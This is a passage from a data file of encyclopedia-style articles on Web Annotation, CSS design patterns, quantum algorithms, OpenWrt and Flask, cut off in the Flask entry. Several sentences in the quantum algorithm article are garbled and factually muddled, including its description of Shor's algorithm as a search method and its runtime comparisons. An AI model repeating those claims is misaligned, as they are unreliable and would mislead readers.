proxy server merges web content and annotations. Browsers see the merged content. CritLink and InterNote are examples.\n    + **Browser-based**: Original web content and annotations are merged at the browser end. This may be done via a browser plugin or by JavaScript served from the annotation server. Third Voice is an example of a plugin. JotBot uses a Java applet. Yawas uses internal DOM events to display annotations.Proxy-based approach is restrictive since readers must access a IRI different from the original one. Browser-based approach is preferred. As examples, Hypothes.is and Pundit take the latter approach. It's expected that eventually browsers will natively support Web Annotation. \n\nIt's important to note that annotations are not necessarily stored at the publisher's server. They could be stored in a separate annotation server. Any third party can offer an annotation service that collects and organizes annotations. Such a service must be neutral to realize the ideals of an open collaborative web.\n\n\n### Could you briefly explain the Web Annotation Data Model?\n\nAn annotation is a rooted directed graph that establishes relationships among resources. A resource can be either a **Body** or a **Target**. Annotations can have 0 or more bodies and 1 or more targets. Content of the body are \"about\" the target. An annotation, body or target may have its own properties and relationship such as creation or descriptive information. \n\nSince resources are distributed on the web, they are identified using IRI. In some cases, Body is just textual content and may be included as part of the annotation. In such cases, separate IRI is not required for the Body. \n\nWe often want to select part of a resource and not the entire content at the IRI. This is called **Segment (of Interest)**. A **Selector** is used to extract the segment from a resource. For example, selectors are available to select some region of an image; an exact quote; content that matches a CSS or XPath rule; some text by its start and end positions; and so on. \n\n\n### What are the W3C Recommendations for Web Annotation?\n\nWe have the following Recommendations and Working Group Notes:  \n\n    + Web Annotation Data Model, REC: Describes the underlying Annotation Abstract Data Model as well as a JSON-LD serialization.\n    + Web Annotation Vocabulary, REC: The Vocabulary which underpins the Web Annotation Data Model.\n    + Web Annotation Protocol, REC: The HTTP API for publishing, syndicating, and distributing Web Annotation.\n    + Embedding Web Annotation in HTML, WG Note: Various ways annotations can be added to an HTML file using current specifications like JSON-LD or RDFa.\n    + Selectors and States, WG Note: An extract from Web Annotation Data Model to make the use of these classes easier and more broadly usable by other specifications.\n\n### What are the tools available to implement Web Annotation?\n\nAnnotator is an open-source JavaScript library that can be added to any website and thus enable annotations on it. Annotator can also be extended with plugins. Annotorious is one such plugin for image annotation. Annotator is being used in many projects: Hypothes.is, Harvard's Open Video Annotation Project, EdX, MIT's Annotation Studio, WritingPod, Crunched Book and many more. \n\nHypothesis is based on Annotator and is also open source. While Annotator used to store annotations at *annotateit.org*, this service closed in March 2017. Hypothesis is also a service that stores annotations but you can deploy your own servers instead. \n\nPundit Annotator is based on AngularJS. It comes with open source client code. You can be download and install the server code. \n\n\n### What are the elements of an interoperable annotations layer?\n\nAnnotations may be considered as an extra layer of information on top of web content. To accelerate the development of a pervasive interoperable annotation layer, the *Annotating All Knowledge Coalition* identified what such a layer should contain. \n\nAn interoperable annotations layer should be standardized. It should be an open framework. Annotations should be as granular as possible: parts of an image, specific lines of text, etc. It should support discovery and linking of annotations across different content formats (HTML or PDF). Likewise, content may have different versions and annotations should persist across versions. \n\nAnnotations can be private or public. Identities should be managed. To allow discovery and sharing of annotations, standard identifiers should be used. Notifications should be possible, such as notifying publishers when their content is annotated. \n\nReaders should be able to selectively choose which annotations they wish to see when reading content. Annotations should be portable across services. It should be possible to link to other resources or programmatically annotate. Further tools can enable tagging and filtering of annotations. \n\n\n### What are the challenges ahead for Web Annotation?\n\nInteroperatibility is a challenge. Annotations created with one tool should be compatible with another. In other words, can we export annotations from one and import into another? When a browser has multiple tools installed, these tools should coexist in terms creating, editing and anchoring annotations. One study annotated a webpage with both Hypothesis and Pundit. It then found that the tools are incompatible and somewhat conflicting. \n\n## Milestones\n\n1989\n\nTim Berners-Lee publishes his ideas about the World Wide Web and hypertext. This paper includes thoughts about annotations, some of which could be kept private. Thus, the idea of annotating web content is not something that came later. \n\n1993\n\nThe first widely distributed web browser Mosaic is released by Marc Andreessen and Eric Bina. **Mosaic v1.1** includes client-side support for annotations. However, this is considered as a \"nice-to-have\" feature and is not developed further. \n\n1999\n\nAs a browser plugin, **Third Voice** is launched. It allows users to annotate any website and thereby have open discussions without being controlled by content publishers. However, this service gathers bad reputation for enabling \"web graffiti\". Getting users to download and install the plugin becomes a barrier. The service closes in April 2001. \n\nJul  \n2001\n\nWhere Third Voice fails, W3C attempts with **Annotea** that's built into W3C's Amaya browser. W3C proposes to adopt and reuse concepts and tools from Semantic Web, such as RDF and XML. \n\n2009\n\nTwo groups, Annotation Ontology and the Open Annotation Collaboration, independently start work on annotation specifications. In 2011, they join together to form W3C Open Annotation Community Group. \n\nJul  \n2011\n\nVersion 1.0.0 of **Annotator** is released. This is a JavaScript library for building annotation applications in browsers. Version 1.2.10 is released in February 2015. \n\nOct  \n2011\n\nAs an open source non-profit platform, **Hypothes.is** is announced. It aims to be community moderated, neutral and transparent. \n\nFeb  \n2013\n\nOpen Annotation Community Group at W3C publishes a Community Draft titled Open Annotation Data Model. This specifies an RDF-based data model for exchanging annotations between applications. This is not a standard but forms the starting point for future standards. \n\nApr  \n2013\n\nWhat is today an annual event, the first I Annotate Conference is held in San Francisco. Dan Whatley of Hypothes.is introduces,\n\n> Annotation as the 3D printing of the web: the promise of decentralization of knowledge creation online.\n\nOct  \n2014\n\nBuilt on Annotator, **Hypothesis** application is launched as a Chrome extension. An alpha version was launched earlier in 2013. In April 2018, they achieve a milestone of 3 million annotations. \n\nFeb  \n2017\n\nW3C Web Annotation Working Group publishes three Recommendations that define Web Annotation. In addition, two Working Group Notes are also published. This Working Group was formed in 2014.","meta":{"title":"Web Annotation","href":"web-annotation"}}
{"text":"# CSS Design Patterns\n\n## Summary\n\n\nTo become a good web designer/developer, it's not enough to know CSS properties and their values. We need to know the contexts in which each property-value pair is applicable, how results differ in different contexts, and how various properties interact. Rather than memorize hundreds of rules and their exceptions, it's more efficient to get familiar with contexts of usage and combinations of properties applicable in those contexts. This is what CSS design patterns is all about. \n\nDesign patterns are common in programming, such as in object-oriented programming. In HTML/CSS, design patterns are those that work across browsers and devices. They manage complexity, mitigate code bloat, and improve productivity. They're the building blocks that facilitate the creative process: the designer picks known patterns, adjusts them to current context and combines them for a final result.\n\n## Discussion\n\n### What are the design patterns pertaining to the CSS Box Model?\n\nCommon ways to display an element are `inline`, `inline-block` and `block`. Special ways include `list-item` and `table`. We can also take out an element from its normal flow using CSS properties `position` and `float`. More sophisticated ways to layout elements include CSS Flexbox, CSS Grid, and CSS Multi-column. \n\nBowers et al. talk about three patterns that affect box dimensions: \n\n    + **Sizing**: manually assign absolute or relative sizes\n    + **Shrinkwrapping**: shrink to fit the content\n    + **Stretching**: stretch to fill its parent containerThese can be combined with positioning patterns **indenting**, **offsetting**, and **aligning**. Specifically, a stretched element can be indented and this affects its dimensions. A sized or shrinkwrapped element can be offset or aligned without affecting its dimensions. \n\nMuch of this is achieved by applying CSS rules to parent and grandparent containers of the element. These rules mainly specify dimensional properties, positional properties and margins. \n\n\n### What are some traditional CSS patterns for layout design?\n\nTwo patterns are not recommended: fixed-width layouts since measurements are absolute and tables since table cells \"can't flow\" when viewport changes. \n\nOne design pattern is to use columns whose widths adjust to viewport width. On smaller screens, columns reflow into rows. This is called **fluid layout** and is achieved using properties `float`, `width`, `min-width` and `max-width`. \n\nIn **elastic layout**, overall width is set relative to some design element such as font size. A **hybrid layout** is a combination fixed and fluid/elastic layouts. \n\nProperty `width` is actually an element's inner width. Sometimes we wish to fix the outer width in design and then adjust the margin, border and padding without affecting the layout. This is possible by having an element within another element, called **outside-in** pattern. The inner element includes margin, border and padding but the outer element has none. \n\nIn fluid layouts, mixing fixed values and percentages is not ideal but can't be avoided. Using percentages isn't possible for borders. It's common to use fixed values for margins and padding, and percentages for width. This problem is solved by the outside-in pattern. \n\n\n### What responsive layout patterns are possible with CSS Flexbox and CSS Grid?\n\nIn 2019, LePage used Flexbox and media queries to implement five layout patterns: \n\n    + **Mostly Fluid**: On small screens, content reflows and columns stack vertically. On bigger screens, margins are adjusted.\n    + **Column Drop**: Columns stack vertically on smaller screens.\n    + **Layout Shifter**: Content moves around when screen sizes change. Most responsive with many breakpoints but also more complex to maintain.\n    + **Tiny Tweaks**: Only small changes involving font sizes, image dimensions, or content offsets.\n    + **Off Canvas**: On smaller screens, less frequently used content is kept off-screen but accessible with a single click.Rachel Andrew has shared a number of patterns based on CSS Grid. Typical layouts contain header, footer, sidebar and main content area. An example of nested grid shows positioning of media along with text and caption. She also gives examples of using named lines and areas that are easer for developers to work with. Bryan Robinson has shared a good example of a responsive layout with CSS Grid. \n\n\n### What CSS design patterns help control spaces?\n\nCSS gives designers plenty of options to control spaces. Margin adds space on the outside of an element. Padding adds space between the element's border and its content. For both of these, each boundary (top, right, bottom, left) can be individually set. Negative margins can remove spaces and cause elements to overlap. \n\nIn the flow of text, spacing can be controlled with `letter-spacing`, `word-spacing`, `line-height`, and `text-indent`. In addition, `text-align:justify` will stretch out inter-word spaces. Property `text-indent` doesn't work on inline elements. For hanging indent, we can use negative `text-indent` and positive `padding-left`. \n\nWhitespace can be preserved with `white-space:pre`, which is useful for displaying code snippets in monospaced font. To preserve whitespace and also wrap long lines, use `white-space:pre-wrap`, `white-space:pre-line`, or `white-space:break-spaces`. In addition, `word-break:break-all` and `word-break:break-word` give more control. \n\n\n### Which are the different categories of CSS design elements?\n\nSometimes it's helpful to think of CSS design patterns in terms of UI components or widgets. A typical webpage has header, footer, menu, buttons, breadcrumbs, forms, tables, pagination, etc. Common ways of using CSS for these purposes can be gathered into CSS patterns. \n\nThe page UI Patterns on CodePen documents many such patterns, although some of them are not pure CSS (they include JavaScript as well). \n\nPhuoc's CSS Layout is another place for CSS patterns. Close to 100 patterns are featured here under the categories of layout, navigation, input, display, and feedback. \n\n\n### Is it a good idea to adopt a CSS framework?\n\n**CSS frameworks** offer a faster route to benefit from CSS design patterns. Such frameworks often provide many patterns that can be mixed and matched to achieve an intended design. They save us the effort of hand-coding dozens of rules. Well-known frameworks include Bootstrap, Foundation, Bulma, UIkit, Semantic UI, Susy, Materialize, Pure, Skeleton, and Milligram. \n\nSome prefer to choose a small lightweight framework rather than one that tries to do too many things. Smaller frameworks and libraries may also be easier to customize. In any case, be wary of frameworks in which abstractions leak. Some lightweight frameworks include Pure, Milligram, Picnic, Wing, and Chota. \n\n**CSS preprocessors** are also useful in managing the complexity of CSS styles. Features include variables, nesting, mixins, functions and mathematical operations. Well-known preprocessors include Sass, LESS and Stylus. These can be compiled into CSS. In fact, many CSS frameworks make use of preprocessors. \n\nEven when CSS preprocessors are used, developers can't sacrifice a solid understanding of CSS. Preprocessors complement CSS, not replace it. \n\n\n### What are some CSS anti-patterns that I should avoid?\n\nWe note a few CSS anti-patterns: \n\n    + **Undoing Styles**: Use of `float:none`, `padding:0`, or `border-bottom:0` are examples where we're attempting to undo styles set elsewhere. It shows that we added styles too early.\n    + **Magic/Hard-coded Numbers**: These make the design brittle to changes and confusing for other developers. Examples, `top:37px` or `line-height:32px`. The latter could be made relative, such as `line-height:1.5em`.\n    + **Qualified Selectors**: Selector `ul.nav` means that style can't be reused for navigation menus on other element names. Selector `.nav` is more reusable. On the flip side, we could have selectors that are too broad, such as `ul`. Instead, prefer a class selector.\n    + **Loose Class Names**: Selector `.card` doesn't suggest its intended purpose. Instead, `.credit-card-image` is better. Another poorly named selector is `.teal`. It describes a visual attribute and has no semantic value.\n    + **Repetitive Key Selectors**: Same key selector appearing in many CSS rules suggests poor design. There's no single source of truth. Instead, use BEM convention.\n    + **Complex Rules**: A rule such as `.slider {height:27px; float:left;}` is trying to do too many things. Instead, we could break it up into two separate rules `.slider` and `.left`.\n\n\n## Milestones\n\n1997\n\nAt a workshop, Jenifer Tidwell presents *Common Ground*, a pattern language for human-computer interface design. She later develops this work and publishes it as a book titled *Designing Interfaces* in 2005. This is just an example to highlight that CSS design patterns are related to **UI patterns**. \n\n2001\n\nA simple three-column layout with a top header that works for all browsers is surprising difficult to design. Owen Briggs builds such a layout and shares his styles online under the title *Box Lessons*. In time, this becomes a useful reference for many CSS developers. This is an early example of CSS design patterns. \n\nDec  \n2005\n\nHolzschlag writes about the constraints of table-based layouts. She proposes the use of CSS to create more flexible layouts. CSS enables designers design for discrete, semantic elements rather than be limited to grid designs. \n\nOct  \n2006\n\nAs a CSS preprocessor, **Sass** v0.1.0 is released to help developers manage complex styles. Subsequently, other preprocessors are released: LESS v1.0 (Apr 2010) and Stylus v0.02 (Jan 2011). Adoption of preprocessors grows through the 2010s. A survey from 2016 reveals that about 86% of respondents use a CSS preprocessor in their development workflow. \n\nMar  \n2009\n\nMarcotte proposes **Fluid Grids** as a layout pattern in which all design elements are sized in proportion to font size. This overcomes the assumption of \"minimum screen resolution\" and creating fixed layouts. In later years, this is called **elastic layout**. \n\nAug  \n2011\n\nTwitter open sources **Bootstrap**, what's possibly the world's first framework for frontend design. For pragmatic developers who wish to get things done, patterns in Bootstrap speed up development. Subsequently, Bootstrap 2 (Jan 2012) adds responsive functionality, Bootstrap 3 (Aug 2013) becomes responsive by default and mobile first, Bootstrap 4 (Jan 2018) moves from LESS to Sass and uses CSS Flexbox, and Bootstrap 5 Alpha (Jun 2020) replaces jQuery with vanilla JS and card decks with CSS Grid.  \n\n2011\n\nBowers et al. publish the book *Pro HTML5 and CSS3 Design Patterns*. They describe more than 350 design patterns, each pattern being modular, customizable, and reusable. Patterns come with working code in HTML and CSS. \n\nMar  \n2012\n\nBased on a study of layout examples on Media Queries website, Wroblewski identifies five high-level patterns: Mostly Fluid, Column Drop, Layout Shifter, Tiny Tweaks, and Off Canvas. Years later, in 2019, LePage showcases how these patterns can be implemented using CSS Flexbox and media queries. \n\nSep  \n2012\n\nW3C publishes the first Candidate Recommendation of **CSS Flexible Box Layout Module** (first draft in 2009). In May 2017, W3C publishes **CSS Grid Layout Module Level 1** as a Candidate Recommendation (first draft in 2012). Both Flexbox and Grid greatly simplify CSS rules for layouts. In time, developers share patterns for these two approaches.  \n\nSep  \n2018\n\nBob Myers argues that BEM, CSS preprocessors, CSS frameworks, and obsessive separation of content and presentation are all CSS anti-patterns. CSS engines are faster today than when BEM came out. Preprocessors complicate build pipelines and require developers learn their syntax. Frameworks such as Bootstrap are not needed now for layout when we have CSS Flexbox and CSS Grid.","meta":{"title":"CSS Design Patterns","href":"css-design-patterns"}}
{"text":"# Quantum Algorithm\n\n## Summary\n\n\nA quantum computer is a machine that employs quantum mechanics to perform tasks that would be quite challenging for a machine based solely on classical physics laws to accomplish. Quantum computing's future applications include everything from cracking cryptographic systems to developing novel treatments. These applications are based on quantum algorithms, which run on a quantum computer and achieve a speedup or other efficiency advantage over any other classical method. \n\nQuantum computers use quantum algorithms to outperform traditional computers. Cryptography, search and optimization, quantum system modelling, and solving huge systems of linear equations are all areas where quantum methods can be used. \n\n**Shor's algorithm for factoring** and **Grover's algorithm for searching** an unstructured database or an unordered list are two of the most popular search methods. Shor's algorithms are faster (probably more powerful) than the well-known traditional factoring algorithm, the general number field sieve.\n\n## Discussion\n\n### Why do we need Quantum Algorithm?\n\nTo do factoring, the well-known quantum algorithm is **Shor's Algorithm**. This method of quantum factoring takes about the same amount of time to function as a whole number of digits, while the older advanced algorithm takes about the exposure time. The notion that complex factoring is critical to functioning of modern cryptosystems, allows for most e-commerce. In these cryptosystems, the user can encrypt information and \"eavesdroppers\" can only determine the information by entering a large number. This strategy is useful for keeping information confidential as long as there are no quick fixes. \n\nModeling of chemical and physical interactions is the another known quantum computer program. Because the amount of space required to track a quantum system increases rapidly with the number of particles, quantum mechanics are often difficult to duplicate using a standard computer. This has made understanding of the operation of many important systems and interactions, from advanced superconductors to photosynthesis, difficult for scientists and engineers. Quantum computers, for example, are expected to improve and accelerate drug research and industrial chemical processes by allowing 'in silico'(an experiment that is performed on computer) of chemical compounds and performance.  \n\n\n### What are the Characteristics of a Quantum Algorithm?\n\nQuantum computing techniques can be accomplished using classical computer infrastructure by applying quantum algorithms. It is critical to analyze and categorise quantum computing technologies using quantum algorithms to describe characteristics. Parallelism, aggregate count of accessible qubits, topologies, algorithms for locating qubits, and qubit operations are all algorithmic aspects of quantum computing technology. \n\nBecause parallel implementation of quantum gates is essential to either prevent or decrease qubit decoherence, parallelism is a key characteristic. Another characteristic that contributes to the quantum computer's stability and scalability is the total number of qubits available. The topologies of a quantum computer's architecture are the multiple conceivable groupings of distinct physical devices.\n\nThe fundamental objective is architecture optimization, which allows for a seamless flow of data and information among the many physical parts of the system. The addressing mechanism for identifying a single qubit is quite complicated logically. This capability allows for a more detailed examination of qubit states in terms of quantum computer physical implementation. Moreover, in order to conduct any operation on qubits, they must be transported from the address where they are stored to the place where the qubit gates are acting on them. \n\n\n### How can the Quantum Algorithms be classified?\n\n**Quantum Fourier Transform-based algorithms:** \n\nQuantum Fourier transform is a quantum version of the discrete Fourier transform that is utilised in a variety of quantum techniques. In the field F2, the Hadamard transform is an example of a quantum Fourier transform over an n-dimensional vector space. Only a polynomial number of quantum gates are required to accomplish the quantum Fourier transform on a quantum computer.  \n\n**Amplitude Amplification-based algorithms:** \n\nAmplitude amplification is a method that enables a quantum state's subdomain to be amplified. It frequently results in quadratic speedups when compared to traditional techniques. That can be regarded as a generalisation of  Grover's algorithm.   \n\n**Quantum Walk-based algorithms:** \n\nQuantum walks are a powerful and general framework for creating rapid quantum algorithms. A quantum walk is based on the simulated coherent quantum evolution of a particle moving on a graph, similar to how a random walk method is based on the simulated motion of a particle moving randomly within some underlying graph structure. \n\n**Hybrid quantum/classical algorithms:** \n\nThey are predicted to be the first useful applications for quantum computing, as they are well-suited for execution on NISQ (noisy intermediate-scale quantum) devices by integrating quantum computers with classical computers. \n\n\n### What is a Variational Quantum Algorithm?\n\nVariational Quantum Algorithm(VQA) is a Hybrid type of algorithm, as it is a combination quantum state preparation and measurement with classical optimization. This methodology can be used to locate low-energy eigenstates as well as to minimise any objective function.  \n\nThe variational method is a classical method for obtaining low energy states of a quantum system in quantum theory. The basic idea behind this method is to build a trial wave function (also known as an ansatz) as a function of some parameters, and then determine the values of these parameters that minimise the energy's expectation value in relation to these parameters. The expectation value serves as an upper bound on the energy of the ground state, and the reduced ansatz is an approximation to the lowest energy eigenstate. As a result, a new type of algorithm called as Variational Quantum Algorithm(VQA) has emerged.\n\n\n### How can a Quantum Algorithm be designed?\n\n**Yao** is a quantum computation research software that solves real-world challenges. Given the limits of noisy intermediate-scale quantum circuits in the near term, treating quantum devices as co-processors and enhancing their capabilities with classical computing resources is useful. VQAs have emerged as a potential study field. A quantum circuit with configurable gate parameters and a classical optimizer are frequently used in these techniques. \n\nFor designing and testing quantum algorithms in these difficult domains, efficient quantum software is critical. Yao is an open-source framework for designing quantum algorithms with exceptional extensibility and efficiency. Quantum circuits can be programmed in a general and differentiable way with Yao. It simulates tiny to intermediate-sized quantum circuits with state-of-the-art performance that is important to near-term applications. \n\nThe quantum block intermediate representation of quantum circuits, a built-in automated differentiation engine tuned for reversible computing, and batched quantum registers with GPU(graphics processing unit) acceleration are among the design principles and critical methodologies underpinning Yao. \n\nBesides increasing the number of qubits in experiments, further research objectives ask for quantum software with a low overhead for repetitive feedback control, convenient circuit structure modifications, and rapid gradient calculation. \n\n\n### How can Quantum Algorithms solve Dynamic Programming Problems?\n\nQuantum algorithms can be used to solve dynamic programming issues with finite and infinite horizons. For the similar jobs, the query complexity lower bounds for classical randomised algorithms are examined, and a polynomial separation between the query complexity of quantum algorithms and the best-case query complexity of conventional randomised algorithms can be demonstrated as a result. Quantum algorithms can provide a quadratic advantage in terms of the number of states and actions in the dynamic programming problem up to polylogarithmic factors. However, the speedup achieved comes at the expense of the introduction of other polynomial factors in the scaling of the algorithm, which contribute to the solution's precision. The quantum algorithm framework is concerned with discrete and combinatorial optimization issues that have traditionally been tackled with dynamic programming techniques. \n\n## Milestones\n\n1992\n\nThe **Deutsch–Jozsa algorithm** is one of the first examples of a quantum algorithm that is exponentially faster than any possible deterministic classical algorithm. This is perhaps the earliest result in the computational complexity of quantum computers, proving that they were capable of performing some well-defined computational task more efficiently than any classical computer.  \n\n1994\n\n**Peter Shor** of Bell Laboratories develops a quantum algorithm for factoring integers that has the potential to decrypt RSA-encrypted communications, a widely-used method for securing data transmissions.  **Isaac Chuang and Yoshihisa Yamamoto** propose a quantum-optical realization of a quantum computer to implement Deutsch's algorithm. Their work introduces dual-rail encoding for photonic qubits.  \n\n1996\n\n**Lov Grover** of Bell Laboratories invents the quantum database search algorithm. The quadratic speedup is not as dramatic as the speedup for factoring, discrete logs, or physics simulations. However, the algorithm can be applied to a much wider variety of problems. Any problem that has to be solved by random, brute-force search, can take advantage of this quadratic speedup (in the number of search queries).  \n\n1998\n\n**First experimental demonstration of a quantum algorithm**. A working 2-qubit NMR quantum computer is used to solve Deutsch's problem by Jonathan A. Jones and Michele Mosca at Oxford University and shortly after by Isaac L. Chuang at IBM's Almaden Research Center and Mark Kubinec and the University of California, Berkeley together with coworkers at Stanford University and MIT.[Contributors 2005] \r First execution of Grover's algorithm on an NMR computer. \r Hidetoshi Nishimori & colleagues from Tokyo Institute of Technology showed that quantum annealing algorithm can perform better than classical simulated annealing. \n\n2003\n\nImplementation of the Deutsch–Jozsa algorithm on an **ion-trap quantum computer** at the University of Innsbruck. \n\n2007\n\nFirst use of Deutsch's Algorithm in a **cluster state quantum computer**. \n\n2009\n\nQuantum algorithm developed for **differential equation systems**. \n\n2013\n\nFirst resource analysis of a large-scale quantum algorithm using explicit fault-tolerant, error-correction protocols was developed for **factoring**. \n\n2016\n\nPhysicists led by Rainer Blatt joined forces with scientists at MIT, led by Isaac Chuang, to efficiently implement Shor's algorithm in an ion-trap based quantum computer.","meta":{"title":"Quantum Algorithm","href":"quantum-algorithm"}}
{"text":"# OpenWrt\n\n## Summary\n\n\nOpenWrt is a Linux-based customizable operating system for embedded devices. Instead of being a static firmware, it's a flexible Linux distribution that allows applications to be added/removed through a package management system without having to rebuild the entire firmware. \n\nOpenWrt started as a means to give users and developers control over router firmware. The suffix \"WRT\" itself comes from Wireless RouTer. Today, OpenWrt can be used in various embedded devices including Wi-Fi routers, wired routers, residential gateways, smartphones, laptops and even x86-based PCs.\n\n## Discussion\n\n### Why should I use OpenWrt?\n\nHardware manufacturers normally ship their products with their own firmware. However, such a firmware may be unstable or lack features that you desire. One Reddit user noted many problems with the default firmware: broken port forwarding, security flaws, missing IPv6 support, limited routing support, no patches, no SSH access, etc. Manufacturers may not bother patching old device models. Their firmware may also have government backdoors. \n\nThis is where OpenWrt comes in as a suitable alternative. Users can download pre-built binaries and customize the same with necessary packages. Developers can built firmware from source and develop new packages. The code is open source and is maintained by a community of developers. Because source is open, OpenWrt is a useful tool for students and researchers. Moreover, one can get enterprise-class features by installing OpenWrt on a cost-effective hardware. \n\nAs of January 2017, OpenWrt is supported for close to 700 different models across brands. In February 2011, OpenWrt had about 2000 packages. In 2017, this number was 3500. \n\n\n### How are people customizing OpenWrt for their routers?\n\nWith OpenWrt, users/developers can use their router to run a BitTorrent client, enable VPN, create a guest Wi-Fi network, analyze network traffic, do traffic-shaping or apply QoS rules on packets. The router can also run servers: SSH (and do SSH tunneling), IRC server, HTTP server, FTP server, etc. Mesh networking, port knocking, firewalling, wireless bridging, file sharing and real-time monitoring are some other useful features. When configured as a public hotspot, OpenWrt provides a number of functions to manage the hotspot. \n\nOpenWrt can also connect to printers, webcams, modems and soundcards. In general, an OpenWrt device can work with any hardware that has Linux support. \n\n\n### Could you share some technical details of OpenWrt?\n\nOpenWrt is a Linux distribution but because it's optimized for embedded systems, many of the libraries have been customized. uClibc is the C standard library used. Utilities from BusyBox are used though procd has replaced some of them for process management. For package management, opkg is used. It's been claimed that a stripped version of OpenWrt can run with only 8 MiB of main memory and non-volatile storage of 2 MiB. \n\nThe firmware is composed of image (kernel + rootfs) and optional packages. Linux, BSD or MacOS are recommended for the host system building the firmware. Robbie Cao has shared a detailed discussion of OpenWrt's build process, installation, configuration, package management system, boot up sequence and memory layout. \n\n\n### What are some open source alternatives to OpenWrt?\n\nMany of the alternatives themselves are derived from OpenWrt: LEDE, Gargoyle, Fon, libreCMC, Freifunk, LibreMesh, etc. Other alternatives include DD-WRT, pfSense, ClearOS, Tomato (and its derivatives), LibreMesh, telehash, Gluon and OpenWISP. FreeWRT and Chilifire are also available. \n\nWhile OpenWrt is more of a customizable Linux distribution, DD-WRT is a monolithic build. OpenWrt takes a little more work than DD-WRT for the user but OpenWrt has more features. Tomato is lightweight and strikes a balance between performance and features. However, it supports fewer device variants unlike DD-WRT. DD-WRT is claimed to be the most popular open source router firmware. \n\n\n### Are there any concerns with using OpenWrt?\n\nFlashing your router with OpenWrt will void the manufacturer's warranty. In some exceptional cases, due to incompatibility, the device may become unusable (bricked) after loading OpenWrt. If device has a button to revert to factory settings, this could be an option to recover it. In any case, flashing a replacement firmware should be avoided via a wireless link. Also, ensure that availability of uninterrupted power supply during the process. \n\nSome routers using open source firmware have been blamed for using 5 GHz spectrum without using Dynamic Frequency Selection (DFS). As a result, they interfere with weather radar systems. Since June 2016, in the US, devices are required to operate within allowed bands, modulations and power levels. Some manufacturers such as TP-Link took the easy path of preventing the use of open source firmware while Linksys still allows them with necessary checks. \n\nSome have claimed that one can boost power levels with open source firmware. However, if done wrongly, this may violate local limits and regulations. \n\n\n### What tools are available to build, install or configure OpenWrt and its packages?\n\nThe development and build environment is called *OpenWrt Buildroot*, which is derived from *Buildroot* system. This allows developers to cross-compile for different target architectures and automate the build process using makefiles and scripts. \n\n*OpenWrt SDK* is needed to build userspace packages. We can download a pre-built SDK or build one ourselves. Package manager *opkg* is used to install/remove/update pre-built packages. If we are building a custom package, OpenWrt SDK can also be used to manage the package. \n\nConfiguration is centralized via *Unified Configuration Interface (UCI)*. We can configure OpenWrt from a command console or from a web interface named *LuCI*. Alternative web interfaces include *X-Wrt* and *Gargoyle Router Management Utility*. LuCI includes a package manager page. In fact, some packages have their own configuration pages in LuCI. \n\n\n### As a developer, how can I contribute to OpenWrt?\n\nOpenWrt is completely open source and community driven. It's released under GPL v2.0 license. The code is available on GitHub. You can either contribute to the main distribution or to the various community-maintained packages. Documentation is on OpenWrt Wiki.\n\nTasks for developers typically include the following: \n\n    + Update the Linux kernel to more recent versions\n    + Fix bugs in kernel or packages: these may include security fixes\n    + Update to drivers and networking protocols\n    + Support new hardware and new platforms\n    + Write new packages\n    + Participate in code reviews and testing\n    + Improve build, packaging and development tools\n\n\n## Milestones\n\n2003\n\nLinksys releases router WRT54G with support for IEEE 802.11g standard. Some folks in open source community investigate the firmware and find that it uses open source Linux components. Under pressure from community, Linksys releases firmware source code in July 2003. This is the genesis of OpenWrt, and custom router firmware in general. Sveasoft's Alchemy and Talisman, and BrainSlayer's DD-WRT are based on this firmware. \n\nJan  \n2004\n\nOpenWrt project is started. First version is released the same year using Linksys open source firmware for the Linksys wireless router WRT54G. \n\n2008\n\nLuCI project is started to provide a web user interface for embedded devices. It's based on Lua programming language. OpenWrt adopts this interface in Kamikaze 8.09 release. Today, LuCI source code is part of OpenWrt.\n\nOct  \n2015\n\nOpenWrt Summit is organized for the first time to discuss OpenWrt technology and support the movement. It happens in Dublin, Ireland. \n\nMar  \n2016\n\nChaos Calmer 15.05.1 is released. This is a maintenance release on Chaos Calmer 15.05 released in September 2015. Note that the number \"15.05\" indicate that release branch was created in May 2015, although the release was finalized only in September. Next OpenWrt release named \"Designated Driver\" is under development. \n\nMay  \n2016\n\n*Linux Embedded Development Environment (LEDE)* is born as a fork of OpenWrt. LEDE is started by many active OpenWrt developers unhappy with OpenWrt's processes and lack of transparency, among other things. LEDE promises more open communication, liberal merge policy, automated testing, simplified release process, predictable release cycles and simple infrastructure that requires little maintenance. \n\nMay  \n2017\n\nOpenWrt and LEDE projects meet and plan for a merger. \n\nJan  \n2018\n\nOpenWrt code is replaced by code from LEDE as part of efforts to merge the two under the original brand name of OpenWrt.","meta":{"title":"OpenWrt","href":"openwrt"}}
{"text":"# Flask\n\n## Summary\n\n\nFlask is a simple and minimalist web framework written in Python. It has no database abstraction layer, form validation, or other components that a web app might require. However, Flask can be enhanced with extensions that can add application features as if they were implemented in Flask itself. It's open source under a BSD license. \n\nFlask is easy to set up and learn. One can write a Flask app in as few as seven lines of code and extend it to thousands. Among the big companies that use Flask are LinkedIn, Pinterest, Reddit, and many more.  \n\nFlask along with Bootstrap and SQLite can be used to easily develop full-functioning web apps.\n\n## Discussion\n\n### With so many frameworks out there, what's special about Flask?\n\nFlask uses Python and is lightweight. It consumes minimum resources to get the work done. It's very easy to learn once you have a sound knowledge of Python. Flask enables rapid prototyping of your app and works very efficiently for small applications. It enables you to focus more on other jobs than being stuck with web server management. \n\nAmong the important features of Flask are a built-in web server and debugger, unit testing support, RESTful request dispatching, secure cookies, WSGI compliance, Unicode support and good documentation. \n\n\n### How does Flask compare to Django?\n\nDjango is a full-featured MVC framework while Flask is a micro-framework. What this means is that Django takes a \"batteries-included\" approach by providing many packages typically used by web apps. Flask on the other hand let's you bring in packages as required for your project. \n\nDjango is a stricter and more mature framework than Flask. Django has it's own ways of doing things, while Flask gives you all the freedom you want. For example, Django comes with an ORM but with Flask you can use any ORM of your choice. \n\nFlask is easier to learn due to its minimalism. Beginners looking to learn a Python-based web framework can start with Flask. For simple apps, Flask is more than adequate. For complex apps or to make a polished product, you can consider migrating to Django. Because Django includes lots of useful stuff by default, it might be faster to develop complex apps. For example, Django comes with an administrator interface that can be customized. This can be useful when building a Content Management System (CMS). \n\n\n### As a beginner, how do I get started with Flask?\n\nOne can refer to the Flask official documentation. The User's Guide contains a quickstart guide, detailed tutorials and useful patterns in Flask. \n\nWeek 7 of Harvard's CS50 course is useful if you want a proper classroom type tutoring with assignments. Flask Tutorial Playlist by Corey Schafer is also a good starting point.\n\nUse `pip` to install Flask: `pip install -U Flask`\n\n\n### Which websites use Flask?\n\nThere's an curated list of sites using Flask. Another list mentions big names: Red Hat, Airbnb, Netflix, Lyft, Reddit, Uber, and Samsung. Other big names 